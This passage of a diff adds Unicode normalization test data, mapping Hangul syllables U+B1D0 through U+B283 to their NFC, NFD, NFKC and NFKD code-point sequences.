+{ source: [0xB1D0], NFC: [0xB1D0], NFD: [0x1102, 0x116C, 0x11AB], NFKC: [0xB1D0], NFKD: [0x1102, 0x116C, 0x11AB] },
+{ source: [0xB1D1], NFC: [0xB1D1], NFD: [0x1102, 0x116C, 0x11AC], NFKC: [0xB1D1], NFKD: [0x1102, 0x116C, 0x11AC] },
+{ source: [0xB1D2], NFC: [0xB1D2], NFD: [0x1102, 0x116C, 0x11AD], NFKC: [0xB1D2], NFKD: [0x1102, 0x116C, 0x11AD] },
+{ source: [0xB1D3], NFC: [0xB1D3], NFD: [0x1102, 0x116C, 0x11AE], NFKC: [0xB1D3], NFKD: [0x1102, 0x116C, 0x11AE] },
+{ source: [0xB1D4], NFC: [0xB1D4], NFD: [0x1102, 0x116C, 0x11AF], NFKC: [0xB1D4], NFKD: [0x1102, 0x116C, 0x11AF] },
+{ source: [0xB1D5], NFC: [0xB1D5], NFD: [0x1102, 0x116C, 0x11B0], NFKC: [0xB1D5], NFKD: [0x1102, 0x116C, 0x11B0] },
+{ source: [0xB1D6], NFC: [0xB1D6], NFD: [0x1102, 0x116C, 0x11B1], NFKC: [0xB1D6], NFKD: [0x1102, 0x116C, 0x11B1] },
+{ source: [0xB1D7], NFC: [0xB1D7], NFD: [0x1102, 0x116C, 0x11B2], NFKC: [0xB1D7], NFKD: [0x1102, 0x116C, 0x11B2] },
+{ source: [0xB1D8], NFC: [0xB1D8], NFD: [0x1102, 0x116C, 0x11B3], NFKC: [0xB1D8], NFKD: [0x1102, 0x116C, 0x11B3] },
+{ source: [0xB1D9], NFC: [0xB1D9], NFD: [0x1102, 0x116C, 0x11B4], NFKC: [0xB1D9], NFKD: [0x1102, 0x116C, 0x11B4] },
+{ source: [0xB1DA], NFC: [0xB1DA], NFD: [0x1102, 0x116C, 0x11B5], NFKC: [0xB1DA], NFKD: [0x1102, 0x116C, 0x11B5] },
+{ source: [0xB1DB], NFC: [0xB1DB], NFD: [0x1102, 0x116C, 0x11B6], NFKC: [0xB1DB], NFKD: [0x1102, 0x116C, 0x11B6] },
+{ source: [0xB1DC], NFC: [0xB1DC], NFD: [0x1102, 0x116C, 0x11B7], NFKC: [0xB1DC], NFKD: [0x1102, 0x116C, 0x11B7] },
+{ source: [0xB1DD], NFC: [0xB1DD], NFD: [0x1102, 0x116C, 0x11B8], NFKC: [0xB1DD], NFKD: [0x1102, 0x116C, 0x11B8] },
+{ source: [0xB1DE], NFC: [0xB1DE], NFD: [0x1102, 0x116C, 0x11B9], NFKC: [0xB1DE], NFKD: [0x1102, 0x116C, 0x11B9] },
+{ source: [0xB1DF], NFC: [0xB1DF], NFD: [0x1102, 0x116C, 0x11BA], NFKC: [0xB1DF], NFKD: [0x1102, 0x116C, 0x11BA] },
+{ source: [0xB1E0], NFC: [0xB1E0], NFD: [0x1102, 0x116C, 0x11BB], NFKC: [0xB1E0], NFKD: [0x1102, 0x116C, 0x11BB] },
+{ source: [0xB1E1], NFC: [0xB1E1], NFD: [0x1102, 0x116C, 0x11BC], NFKC: [0xB1E1], NFKD: [0x1102, 0x116C, 0x11BC] },
+{ source: [0xB1E2], NFC: [0xB1E2], NFD: [0x1102, 0x116C, 0x11BD], NFKC: [0xB1E2], NFKD: [0x1102, 0x116C, 0x11BD] },
+{ source: [0xB1E3], NFC: [0xB1E3], NFD: [0x1102, 0x116C, 0x11BE], NFKC: [0xB1E3], NFKD: [0x1102, 0x116C, 0x11BE] },
+{ source: [0xB1E4], NFC: [0xB1E4], NFD: [0x1102, 0x116C, 0x11BF], NFKC: [0xB1E4], NFKD: [0x1102, 0x116C, 0x11BF] },
+{ source: [0xB1E5], NFC: [0xB1E5], NFD: [0x1102, 0x116C, 0x11C0], NFKC: [0xB1E5], NFKD: [0x1102, 0x116C, 0x11C0] },
+{ source: [0xB1E6], NFC: [0xB1E6], NFD: [0x1102, 0x116C, 0x11C1], NFKC: [0xB1E6], NFKD: [0x1102, 0x116C, 0x11C1] },
+{ source: [0xB1E7], NFC: [0xB1E7], NFD: [0x1102, 0x116C, 0x11C2], NFKC: [0xB1E7], NFKD: [0x1102, 0x116C, 0x11C2] },
+{ source: [0xB1E8], NFC: [0xB1E8], NFD: [0x1102, 0x116D], NFKC: [0xB1E8], NFKD: [0x1102, 0x116D] },
+{ source: [0xB1E9], NFC: [0xB1E9], NFD: [0x1102, 0x116D, 0x11A8], NFKC: [0xB1E9], NFKD: [0x1102, 0x116D, 0x11A8] },
+{ source: [0xB1EA], NFC: [0xB1EA], NFD: [0x1102, 0x116D, 0x11A9], NFKC: [0xB1EA], NFKD: [0x1102, 0x116D, 0x11A9] },
+{ source: [0xB1EB], NFC: [0xB1EB], NFD: [0x1102, 0x116D, 0x11AA], NFKC: [0xB1EB], NFKD: [0x1102, 0x116D, 0x11AA] },
+{ source: [0xB1EC], NFC: [0xB1EC], NFD: [0x1102, 0x116D, 0x11AB], NFKC: [0xB1EC], NFKD: [0x1102, 0x116D, 0x11AB] },
+{ source: [0xB1ED], NFC: [0xB1ED], NFD: [0x1102, 0x116D, 0x11AC], NFKC: [0xB1ED], NFKD: [0x1102, 0x116D, 0x11AC] },
+{ source: [0xB1EE], NFC: [0xB1EE], NFD: [0x1102, 0x116D, 0x11AD], NFKC: [0xB1EE], NFKD: [0x1102, 0x116D, 0x11AD] },
+{ source: [0xB1EF], NFC: [0xB1EF], NFD: [0x1102, 0x116D, 0x11AE], NFKC: [0xB1EF], NFKD: [0x1102, 0x116D, 0x11AE] },
+{ source: [0xB1F0], NFC: [0xB1F0], NFD: [0x1102, 0x116D, 0x11AF], NFKC: [0xB1F0], NFKD: [0x1102, 0x116D, 0x11AF] },
+{ source: [0xB1F1], NFC: [0xB1F1], NFD: [0x1102, 0x116D, 0x11B0], NFKC: [0xB1F1], NFKD: [0x1102, 0x116D, 0x11B0] },
+{ source: [0xB1F2], NFC: [0xB1F2], NFD: [0x1102, 0x116D, 0x11B1], NFKC: [0xB1F2], NFKD: [0x1102, 0x116D, 0x11B1] },
+{ source: [0xB1F3], NFC: [0xB1F3], NFD: [0x1102, 0x116D, 0x11B2], NFKC: [0xB1F3], NFKD: [0x1102, 0x116D, 0x11B2] },
+{ source: [0xB1F4], NFC: [0xB1F4], NFD: [0x1102, 0x116D, 0x11B3], NFKC: [0xB1F4], NFKD: [0x1102, 0x116D, 0x11B3] },
+{ source: [0xB1F5], NFC: [0xB1F5], NFD: [0x1102, 0x116D, 0x11B4], NFKC: [0xB1F5], NFKD: [0x1102, 0x116D, 0x11B4] },
+{ source: [0xB1F6], NFC: [0xB1F6], NFD: [0x1102, 0x116D, 0x11B5], NFKC: [0xB1F6], NFKD: [0x1102, 0x116D, 0x11B5] },
+{ source: [0xB1F7], NFC: [0xB1F7], NFD: [0x1102, 0x116D, 0x11B6], NFKC: [0xB1F7], NFKD: [0x1102, 0x116D, 0x11B6] },
+{ source: [0xB1F8], NFC: [0xB1F8], NFD: [0x1102, 0x116D, 0x11B7], NFKC: [0xB1F8], NFKD: [0x1102, 0x116D, 0x11B7] },
+{ source: [0xB1F9], NFC: [0xB1F9], NFD: [0x1102, 0x116D, 0x11B8], NFKC: [0xB1F9], NFKD: [0x1102, 0x116D, 0x11B8] },
+{ source: [0xB1FA], NFC: [0xB1FA], NFD: [0x1102, 0x116D, 0x11B9], NFKC: [0xB1FA], NFKD: [0x1102, 0x116D, 0x11B9] },
+{ source: [0xB1FB], NFC: [0xB1FB], NFD: [0x1102, 0x116D, 0x11BA], NFKC: [0xB1FB], NFKD: [0x1102, 0x116D, 0x11BA] },
+{ source: [0xB1FC], NFC: [0xB1FC], NFD: [0x1102, 0x116D, 0x11BB], NFKC: [0xB1FC], NFKD: [0x1102, 0x116D, 0x11BB] },
+{ source: [0xB1FD], NFC: [0xB1FD], NFD: [0x1102, 0x116D, 0x11BC], NFKC: [0xB1FD], NFKD: [0x1102, 0x116D, 0x11BC] },
+{ source: [0xB1FE], NFC: [0xB1FE], NFD: [0x1102, 0x116D, 0x11BD], NFKC: [0xB1FE], NFKD: [0x1102, 0x116D, 0x11BD] },
+{ source: [0xB1FF], NFC: [0xB1FF], NFD: [0x1102, 0x116D, 0x11BE], NFKC: [0xB1FF], NFKD: [0x1102, 0x116D, 0x11BE] },
+{ source: [0xB200], NFC: [0xB200], NFD: [0x1102, 0x116D, 0x11BF], NFKC: [0xB200], NFKD: [0x1102, 0x116D, 0x11BF] },
+{ source: [0xB201], NFC: [0xB201], NFD: [0x1102, 0x116D, 0x11C0], NFKC: [0xB201], NFKD: [0x1102, 0x116D, 0x11C0] },
+{ source: [0xB202], NFC: [0xB202], NFD: [0x1102, 0x116D, 0x11C1], NFKC: [0xB202], NFKD: [0x1102, 0x116D, 0x11C1] },
+{ source: [0xB203], NFC: [0xB203], NFD: [0x1102, 0x116D, 0x11C2], NFKC: [0xB203], NFKD: [0x1102, 0x116D, 0x11C2] },
+{ source: [0xB204], NFC: [0xB204], NFD: [0x1102, 0x116E], NFKC: [0xB204], NFKD: [0x1102, 0x116E] },
+{ source: [0xB205], NFC: [0xB205], NFD: [0x1102, 0x116E, 0x11A8], NFKC: [0xB205], NFKD: [0x1102, 0x116E, 0x11A8] },
+{ source: [0xB206], NFC: [0xB206], NFD: [0x1102, 0x116E, 0x11A9], NFKC: [0xB206], NFKD: [0x1102, 0x116E, 0x11A9] },
+{ source: [0xB207], NFC: [0xB207], NFD: [0x1102, 0x116E, 0x11AA], NFKC: [0xB207], NFKD: [0x1102, 0x116E, 0x11AA] },
+{ source: [0xB208], NFC: [0xB208], NFD: [0x1102, 0x116E, 0x11AB], NFKC: [0xB208], NFKD: [0x1102, 0x116E, 0x11AB] },
+{ source: [0xB209], NFC: [0xB209], NFD: [0x1102, 0x116E, 0x11AC], NFKC: [0xB209], NFKD: [0x1102, 0x116E, 0x11AC] },
+{ source: [0xB20A], NFC: [0xB20A], NFD: [0x1102, 0x116E, 0x11AD], NFKC: [0xB20A], NFKD: [0x1102, 0x116E, 0x11AD] },
+{ source: [0xB20B], NFC: [0xB20B], NFD: [0x1102, 0x116E, 0x11AE], NFKC: [0xB20B], NFKD: [0x1102, 0x116E, 0x11AE] },
+{ source: [0xB20C], NFC: [0xB20C], NFD: [0x1102, 0x116E, 0x11AF], NFKC: [0xB20C], NFKD: [0x1102, 0x116E, 0x11AF] },
+{ source: [0xB20D], NFC: [0xB20D], NFD: [0x1102, 0x116E, 0x11B0], NFKC: [0xB20D], NFKD: [0x1102, 0x116E, 0x11B0] },
+{ source: [0xB20E], NFC: [0xB20E], NFD: [0x1102, 0x116E, 0x11B1], NFKC: [0xB20E], NFKD: [0x1102, 0x116E, 0x11B1] },
+{ source: [0xB20F], NFC: [0xB20F], NFD: [0x1102, 0x116E, 0x11B2], NFKC: [0xB20F], NFKD: [0x1102, 0x116E, 0x11B2] },
+{ source: [0xB210], NFC: [0xB210], NFD: [0x1102, 0x116E, 0x11B3], NFKC: [0xB210], NFKD: [0x1102, 0x116E, 0x11B3] },
+{ source: [0xB211], NFC: [0xB211], NFD: [0x1102, 0x116E, 0x11B4], NFKC: [0xB211], NFKD: [0x1102, 0x116E, 0x11B4] },
+{ source: [0xB212], NFC: [0xB212], NFD: [0x1102, 0x116E, 0x11B5], NFKC: [0xB212], NFKD: [0x1102, 0x116E, 0x11B5] },
+{ source: [0xB213], NFC: [0xB213], NFD: [0x1102, 0x116E, 0x11B6], NFKC: [0xB213], NFKD: [0x1102, 0x116E, 0x11B6] },
+{ source: [0xB214], NFC: [0xB214], NFD: [0x1102, 0x116E, 0x11B7], NFKC: [0xB214], NFKD: [0x1102, 0x116E, 0x11B7] },
+{ source: [0xB215], NFC: [0xB215], NFD: [0x1102, 0x116E, 0x11B8], NFKC: [0xB215], NFKD: [0x1102, 0x116E, 0x11B8] },
+{ source: [0xB216], NFC: [0xB216], NFD: [0x1102, 0x116E, 0x11B9], NFKC: [0xB216], NFKD: [0x1102, 0x116E, 0x11B9] },
+{ source: [0xB217], NFC: [0xB217], NFD: [0x1102, 0x116E, 0x11BA], NFKC: [0xB217], NFKD: [0x1102, 0x116E, 0x11BA] },
+{ source: [0xB218], NFC: [0xB218], NFD: [0x1102, 0x116E, 0x11BB], NFKC: [0xB218], NFKD: [0x1102, 0x116E, 0x11BB] },
+{ source: [0xB219], NFC: [0xB219], NFD: [0x1102, 0x116E, 0x11BC], NFKC: [0xB219], NFKD: [0x1102, 0x116E, 0x11BC] },
+{ source: [0xB21A], NFC: [0xB21A], NFD: [0x1102, 0x116E, 0x11BD], NFKC: [0xB21A], NFKD: [0x1102, 0x116E, 0x11BD] },
+{ source: [0xB21B], NFC: [0xB21B], NFD: [0x1102, 0x116E, 0x11BE], NFKC: [0xB21B], NFKD: [0x1102, 0x116E, 0x11BE] },
+{ source: [0xB21C], NFC: [0xB21C], NFD: [0x1102, 0x116E, 0x11BF], NFKC: [0xB21C], NFKD: [0x1102, 0x116E, 0x11BF] },
+{ source: [0xB21D], NFC: [0xB21D], NFD: [0x1102, 0x116E, 0x11C0], NFKC: [0xB21D], NFKD: [0x1102, 0x116E, 0x11C0] },
+{ source: [0xB21E], NFC: [0xB21E], NFD: [0x1102, 0x116E, 0x11C1], NFKC: [0xB21E], NFKD: [0x1102, 0x116E, 0x11C1] },
+{ source: [0xB21F], NFC: [0xB21F], NFD: [0x1102, 0x116E, 0x11C2], NFKC: [0xB21F], NFKD: [0x1102, 0x116E, 0x11C2] },
+{ source: [0xB220], NFC: [0xB220], NFD: [0x1102, 0x116F], NFKC: [0xB220], NFKD: [0x1102, 0x116F] },
+{ source: [0xB221], NFC: [0xB221], NFD: [0x1102, 0x116F, 0x11A8], NFKC: [0xB221], NFKD: [0x1102, 0x116F, 0x11A8] },
+{ source: [0xB222], NFC: [0xB222], NFD: [0x1102, 0x116F, 0x11A9], NFKC: [0xB222], NFKD: [0x1102, 0x116F, 0x11A9] },
+{ source: [0xB223], NFC: [0xB223], NFD: [0x1102, 0x116F, 0x11AA], NFKC: [0xB223], NFKD: [0x1102, 0x116F, 0x11AA] },
+{ source: [0xB224], NFC: [0xB224], NFD: [0x1102, 0x116F, 0x11AB], NFKC: [0xB224], NFKD: [0x1102, 0x116F, 0x11AB] },
+{ source: [0xB225], NFC: [0xB225], NFD: [0x1102, 0x116F, 0x11AC], NFKC: [0xB225], NFKD: [0x1102, 0x116F, 0x11AC] },
+{ source: [0xB226], NFC: [0xB226], NFD: [0x1102, 0x116F, 0x11AD], NFKC: [0xB226], NFKD: [0x1102, 0x116F, 0x11AD] },
+{ source: [0xB227], NFC: [0xB227], NFD: [0x1102, 0x116F, 0x11AE], NFKC: [0xB227], NFKD: [0x1102, 0x116F, 0x11AE] },
+{ source: [0xB228], NFC: [0xB228], NFD: [0x1102, 0x116F, 0x11AF], NFKC: [0xB228], NFKD: [0x1102, 0x116F, 0x11AF] },
+{ source: [0xB229], NFC: [0xB229], NFD: [0x1102, 0x116F, 0x11B0], NFKC: [0xB229], NFKD: [0x1102, 0x116F, 0x11B0] },
+{ source: [0xB22A], NFC: [0xB22A], NFD: [0x1102, 0x116F, 0x11B1], NFKC: [0xB22A], NFKD: [0x1102, 0x116F, 0x11B1] },
+{ source: [0xB22B], NFC: [0xB22B], NFD: [0x1102, 0x116F, 0x11B2], NFKC: [0xB22B], NFKD: [0x1102, 0x116F, 0x11B2] },
+{ source: [0xB22C], NFC: [0xB22C], NFD: [0x1102, 0x116F, 0x11B3], NFKC: [0xB22C], NFKD: [0x1102, 0x116F, 0x11B3] },
+{ source: [0xB22D], NFC: [0xB22D], NFD: [0x1102, 0x116F, 0x11B4], NFKC: [0xB22D], NFKD: [0x1102, 0x116F, 0x11B4] },
+{ source: [0xB22E], NFC: [0xB22E], NFD: [0x1102, 0x116F, 0x11B5], NFKC: [0xB22E], NFKD: [0x1102, 0x116F, 0x11B5] },
+{ source: [0xB22F], NFC: [0xB22F], NFD: [0x1102, 0x116F, 0x11B6], NFKC: [0xB22F], NFKD: [0x1102, 0x116F, 0x11B6] },
+{ source: [0xB230], NFC: [0xB230], NFD: [0x1102, 0x116F, 0x11B7], NFKC: [0xB230], NFKD: [0x1102, 0x116F, 0x11B7] },
+{ source: [0xB231], NFC: [0xB231], NFD: [0x1102, 0x116F, 0x11B8], NFKC: [0xB231], NFKD: [0x1102, 0x116F, 0x11B8] },
+{ source: [0xB232], NFC: [0xB232], NFD: [0x1102, 0x116F, 0x11B9], NFKC: [0xB232], NFKD: [0x1102, 0x116F, 0x11B9] },
+{ source: [0xB233], NFC: [0xB233], NFD: [0x1102, 0x116F, 0x11BA], NFKC: [0xB233], NFKD: [0x1102, 0x116F, 0x11BA] },
+{ source: [0xB234], NFC: [0xB234], NFD: [0x1102, 0x116F, 0x11BB], NFKC: [0xB234], NFKD: [0x1102, 0x116F, 0x11BB] },
+{ source: [0xB235], NFC: [0xB235], NFD: [0x1102, 0x116F, 0x11BC], NFKC: [0xB235], NFKD: [0x1102, 0x116F, 0x11BC] },
+{ source: [0xB236], NFC: [0xB236], NFD: [0x1102, 0x116F, 0x11BD], NFKC: [0xB236], NFKD: [0x1102, 0x116F, 0x11BD] },
+{ source: [0xB237], NFC: [0xB237], NFD: [0x1102, 0x116F, 0x11BE], NFKC: [0xB237], NFKD: [0x1102, 0x116F, 0x11BE] },
+{ source: [0xB238], NFC: [0xB238], NFD: [0x1102, 0x116F, 0x11BF], NFKC: [0xB238], NFKD: [0x1102, 0x116F, 0x11BF] },
+{ source: [0xB239], NFC: [0xB239], NFD: [0x1102, 0x116F, 0x11C0], NFKC: [0xB239], NFKD: [0x1102, 0x116F, 0x11C0] },
+{ source: [0xB23A], NFC: [0xB23A], NFD: [0x1102, 0x116F, 0x11C1], NFKC: [0xB23A], NFKD: [0x1102, 0x116F, 0x11C1] },
+{ source: [0xB23B], NFC: [0xB23B], NFD: [0x1102, 0x116F, 0x11C2], NFKC: [0xB23B], NFKD: [0x1102, 0x116F, 0x11C2] },
+{ source: [0xB23C], NFC: [0xB23C], NFD: [0x1102, 0x1170], NFKC: [0xB23C], NFKD: [0x1102, 0x1170] },
+{ source: [0xB23D], NFC: [0xB23D], NFD: [0x1102, 0x1170, 0x11A8], NFKC: [0xB23D], NFKD: [0x1102, 0x1170, 0x11A8] },
+{ source: [0xB23E], NFC: [0xB23E], NFD: [0x1102, 0x1170, 0x11A9], NFKC: [0xB23E], NFKD: [0x1102, 0x1170, 0x11A9] },
+{ source: [0xB23F], NFC: [0xB23F], NFD: [0x1102, 0x1170, 0x11AA], NFKC: [0xB23F], NFKD: [0x1102, 0x1170, 0x11AA] },
+{ source: [0xB240], NFC: [0xB240], NFD: [0x1102, 0x1170, 0x11AB], NFKC: [0xB240], NFKD: [0x1102, 0x1170, 0x11AB] },
+{ source: [0xB241], NFC: [0xB241], NFD: [0x1102, 0x1170, 0x11AC], NFKC: [0xB241], NFKD: [0x1102, 0x1170, 0x11AC] },
+{ source: [0xB242], NFC: [0xB242], NFD: [0x1102, 0x1170, 0x11AD], NFKC: [0xB242], NFKD: [0x1102, 0x1170, 0x11AD] },
+{ source: [0xB243], NFC: [0xB243], NFD: [0x1102, 0x1170, 0x11AE], NFKC: [0xB243], NFKD: [0x1102, 0x1170, 0x11AE] },
+{ source: [0xB244], NFC: [0xB244], NFD: [0x1102, 0x1170, 0x11AF], NFKC: [0xB244], NFKD: [0x1102, 0x1170, 0x11AF] },
+{ source: [0xB245], NFC: [0xB245], NFD: [0x1102, 0x1170, 0x11B0], NFKC: [0xB245], NFKD: [0x1102, 0x1170, 0x11B0] },
+{ source: [0xB246], NFC: [0xB246], NFD: [0x1102, 0x1170, 0x11B1], NFKC: [0xB246], NFKD: [0x1102, 0x1170, 0x11B1] },
+{ source: [0xB247], NFC: [0xB247], NFD: [0x1102, 0x1170, 0x11B2], NFKC: [0xB247], NFKD: [0x1102, 0x1170, 0x11B2] },
+{ source: [0xB248], NFC: [0xB248], NFD: [0x1102, 0x1170, 0x11B3], NFKC: [0xB248], NFKD: [0x1102, 0x1170, 0x11B3] },
+{ source: [0xB249], NFC: [0xB249], NFD: [0x1102, 0x1170, 0x11B4], NFKC: [0xB249], NFKD: [0x1102, 0x1170, 0x11B4] },
+{ source: [0xB24A], NFC: [0xB24A], NFD: [0x1102, 0x1170, 0x11B5], NFKC: [0xB24A], NFKD: [0x1102, 0x1170, 0x11B5] },
+{ source: [0xB24B], NFC: [0xB24B], NFD: [0x1102, 0x1170, 0x11B6], NFKC: [0xB24B], NFKD: [0x1102, 0x1170, 0x11B6] },
+{ source: [0xB24C], NFC: [0xB24C], NFD: [0x1102, 0x1170, 0x11B7], NFKC: [0xB24C], NFKD: [0x1102, 0x1170, 0x11B7] },
+{ source: [0xB24D], NFC: [0xB24D], NFD: [0x1102, 0x1170, 0x11B8], NFKC: [0xB24D], NFKD: [0x1102, 0x1170, 0x11B8] },
+{ source: [0xB24E], NFC: [0xB24E], NFD: [0x1102, 0x1170, 0x11B9], NFKC: [0xB24E], NFKD: [0x1102, 0x1170, 0x11B9] },
+{ source: [0xB24F], NFC: [0xB24F], NFD: [0x1102, 0x1170, 0x11BA], NFKC: [0xB24F], NFKD: [0x1102, 0x1170, 0x11BA] },
+{ source: [0xB250], NFC: [0xB250], NFD: [0x1102, 0x1170, 0x11BB], NFKC: [0xB250], NFKD: [0x1102, 0x1170, 0x11BB] },
+{ source: [0xB251], NFC: [0xB251], NFD: [0x1102, 0x1170, 0x11BC], NFKC: [0xB251], NFKD: [0x1102, 0x1170, 0x11BC] },
+{ source: [0xB252], NFC: [0xB252], NFD: [0x1102, 0x1170, 0x11BD], NFKC: [0xB252], NFKD: [0x1102, 0x1170, 0x11BD] },
+{ source: [0xB253], NFC: [0xB253], NFD: [0x1102, 0x1170, 0x11BE], NFKC: [0xB253], NFKD: [0x1102, 0x1170, 0x11BE] },
+{ source: [0xB254], NFC: [0xB254], NFD: [0x1102, 0x1170, 0x11BF], NFKC: [0xB254], NFKD: [0x1102, 0x1170, 0x11BF] },
+{ source: [0xB255], NFC: [0xB255], NFD: [0x1102, 0x1170, 0x11C0], NFKC: [0xB255], NFKD: [0x1102, 0x1170, 0x11C0] },
+{ source: [0xB256], NFC: [0xB256], NFD: [0x1102, 0x1170, 0x11C1], NFKC: [0xB256], NFKD: [0x1102, 0x1170, 0x11C1] },
+{ source: [0xB257], NFC: [0xB257], NFD: [0x1102, 0x1170, 0x11C2], NFKC: [0xB257], NFKD: [0x1102, 0x1170, 0x11C2] },
+{ source: [0xB258], NFC: [0xB258], NFD: [0x1102, 0x1171], NFKC: [0xB258], NFKD: [0x1102, 0x1171] },
+{ source: [0xB259], NFC: [0xB259], NFD: [0x1102, 0x1171, 0x11A8], NFKC: [0xB259], NFKD: [0x1102, 0x1171, 0x11A8] },
+{ source: [0xB25A], NFC: [0xB25A], NFD: [0x1102, 0x1171, 0x11A9], NFKC: [0xB25A], NFKD: [0x1102, 0x1171, 0x11A9] },
+{ source: [0xB25B], NFC: [0xB25B], NFD: [0x1102, 0x1171, 0x11AA], NFKC: [0xB25B], NFKD: [0x1102, 0x1171, 0x11AA] },
+{ source: [0xB25C], NFC: [0xB25C], NFD: [0x1102, 0x1171, 0x11AB], NFKC: [0xB25C], NFKD: [0x1102, 0x1171, 0x11AB] },
+{ source: [0xB25D], NFC: [0xB25D], NFD: [0x1102, 0x1171, 0x11AC], NFKC: [0xB25D], NFKD: [0x1102, 0x1171, 0x11AC] },
+{ source: [0xB25E], NFC: [0xB25E], NFD: [0x1102, 0x1171, 0x11AD], NFKC: [0xB25E], NFKD: [0x1102, 0x1171, 0x11AD] },
+{ source: [0xB25F], NFC: [0xB25F], NFD: [0x1102, 0x1171, 0x11AE], NFKC: [0xB25F], NFKD: [0x1102, 0x1171, 0x11AE] },
+{ source: [0xB260], NFC: [0xB260], NFD: [0x1102, 0x1171, 0x11AF], NFKC: [0xB260], NFKD: [0x1102, 0x1171, 0x11AF] },
+{ source: [0xB261], NFC: [0xB261], NFD: [0x1102, 0x1171, 0x11B0], NFKC: [0xB261], NFKD: [0x1102, 0x1171, 0x11B0] },
+{ source: [0xB262], NFC: [0xB262], NFD: [0x1102, 0x1171, 0x11B1], NFKC: [0xB262], NFKD: [0x1102, 0x1171, 0x11B1] },
+{ source: [0xB263], NFC: [0xB263], NFD: [0x1102, 0x1171, 0x11B2], NFKC: [0xB263], NFKD: [0x1102, 0x1171, 0x11B2] },
+{ source: [0xB264], NFC: [0xB264], NFD: [0x1102, 0x1171, 0x11B3], NFKC: [0xB264], NFKD: [0x1102, 0x1171, 0x11B3] },
+{ source: [0xB265], NFC: [0xB265], NFD: [0x1102, 0x1171, 0x11B4], NFKC: [0xB265], NFKD: [0x1102, 0x1171, 0x11B4] },
+{ source: [0xB266], NFC: [0xB266], NFD: [0x1102, 0x1171, 0x11B5], NFKC: [0xB266], NFKD: [0x1102, 0x1171, 0x11B5] },
+{ source: [0xB267], NFC: [0xB267], NFD: [0x1102, 0x1171, 0x11B6], NFKC: [0xB267], NFKD: [0x1102, 0x1171, 0x11B6] },
+{ source: [0xB268], NFC: [0xB268], NFD: [0x1102, 0x1171, 0x11B7], NFKC: [0xB268], NFKD: [0x1102, 0x1171, 0x11B7] },
+{ source: [0xB269], NFC: [0xB269], NFD: [0x1102, 0x1171, 0x11B8], NFKC: [0xB269], NFKD: [0x1102, 0x1171, 0x11B8] },
+{ source: [0xB26A], NFC: [0xB26A], NFD: [0x1102, 0x1171, 0x11B9], NFKC: [0xB26A], NFKD: [0x1102, 0x1171, 0x11B9] },
+{ source: [0xB26B], NFC: [0xB26B], NFD: [0x1102, 0x1171, 0x11BA], NFKC: [0xB26B], NFKD: [0x1102, 0x1171, 0x11BA] },
+{ source: [0xB26C], NFC: [0xB26C], NFD: [0x1102, 0x1171, 0x11BB], NFKC: [0xB26C], NFKD: [0x1102, 0x1171, 0x11BB] },
+{ source: [0xB26D], NFC: [0xB26D], NFD: [0x1102, 0x1171, 0x11BC], NFKC: [0xB26D], NFKD: [0x1102, 0x1171, 0x11BC] },
+{ source: [0xB26E], NFC: [0xB26E], NFD: [0x1102, 0x1171, 0x11BD], NFKC: [0xB26E], NFKD: [0x1102, 0x1171, 0x11BD] },
+{ source: [0xB26F], NFC: [0xB26F], NFD: [0x1102, 0x1171, 0x11BE], NFKC: [0xB26F], NFKD: [0x1102, 0x1171, 0x11BE] },
+{ source: [0xB270], NFC: [0xB270], NFD: [0x1102, 0x1171, 0x11BF], NFKC: [0xB270], NFKD: [0x1102, 0x1171, 0x11BF] },
+{ source: [0xB271], NFC: [0xB271], NFD: [0x1102, 0x1171, 0x11C0], NFKC: [0xB271], NFKD: [0x1102, 0x1171, 0x11C0] },
+{ source: [0xB272], NFC: [0xB272], NFD: [0x1102, 0x1171, 0x11C1], NFKC: [0xB272], NFKD: [0x1102, 0x1171, 0x11C1] },
+{ source: [0xB273], NFC: [0xB273], NFD: [0x1102, 0x1171, 0x11C2], NFKC: [0xB273], NFKD: [0x1102, 0x1171, 0x11C2] },
+{ source: [0xB274], NFC: [0xB274], NFD: [0x1102, 0x1172], NFKC: [0xB274], NFKD: [0x1102, 0x1172] },
+{ source: [0xB275], NFC: [0xB275], NFD: [0x1102, 0x1172, 0x11A8], NFKC: [0xB275], NFKD: [0x1102, 0x1172, 0x11A8] },
+{ source: [0xB276], NFC: [0xB276], NFD: [0x1102, 0x1172, 0x11A9], NFKC: [0xB276], NFKD: [0x1102, 0x1172, 0x11A9] },
+{ source: [0xB277], NFC: [0xB277], NFD: [0x1102, 0x1172, 0x11AA], NFKC: [0xB277], NFKD: [0x1102, 0x1172, 0x11AA] },
+{ source: [0xB278], NFC: [0xB278], NFD: [0x1102, 0x1172, 0x11AB], NFKC: [0xB278], NFKD: [0x1102, 0x1172, 0x11AB] },
+{ source: [0xB279], NFC: [0xB279], NFD: [0x1102, 0x1172, 0x11AC], NFKC: [0xB279], NFKD: [0x1102, 0x1172, 0x11AC] },
+{ source: [0xB27A], NFC: [0xB27A], NFD: [0x1102, 0x1172, 0x11AD], NFKC: [0xB27A], NFKD: [0x1102, 0x1172, 0x11AD] },
+{ source: [0xB27B], NFC: [0xB27B], NFD: [0x1102, 0x1172, 0x11AE], NFKC: [0xB27B], NFKD: [0x1102, 0x1172, 0x11AE] },
+{ source: [0xB27C], NFC: [0xB27C], NFD: [0x1102, 0x1172, 0x11AF], NFKC: [0xB27C], NFKD: [0x1102, 0x1172, 0x11AF] },
+{ source: [0xB27D], NFC: [0xB27D], NFD: [0x1102, 0x1172, 0x11B0], NFKC: [0xB27D], NFKD: [0x1102, 0x1172, 0x11B0] },
+{ source: [0xB27E], NFC: [0xB27E], NFD: [0x1102, 0x1172, 0x11B1], NFKC: [0xB27E], NFKD: [0x1102, 0x1172, 0x11B1] },
+{ source: [0xB27F], NFC: [0xB27F], NFD: [0x1102, 0x1172, 0x11B2], NFKC: [0xB27F], NFKD: [0x1102, 0x1172, 0x11B2] },
+{ source: [0xB280], NFC: [0xB280], NFD: [0x1102, 0x1172, 0x11B3], NFKC: [0xB280], NFKD: [0x1102, 0x1172, 0x11B3] },
+{ source: [0xB281], NFC: [0xB281], NFD: [0x1102, 0x1172, 0x11B4], NFKC: [0xB281], NFKD: [0x1102, 0x1172, 0x11B4] },
+{ source: [0xB282], NFC: [0xB282], NFD: [0x1102, 0x1172, 0x11B5], NFKC: [0xB282], NFKD: [0x1102, 0x1172, 0x11B5] },
+{ source: [0xB283], NFC: [0xB283], NFD: [0x1102, 0x1172, 0x11B6], NFKC: [0xB283], NFKD: [0x1102, 0x1172, 0x11B6] },
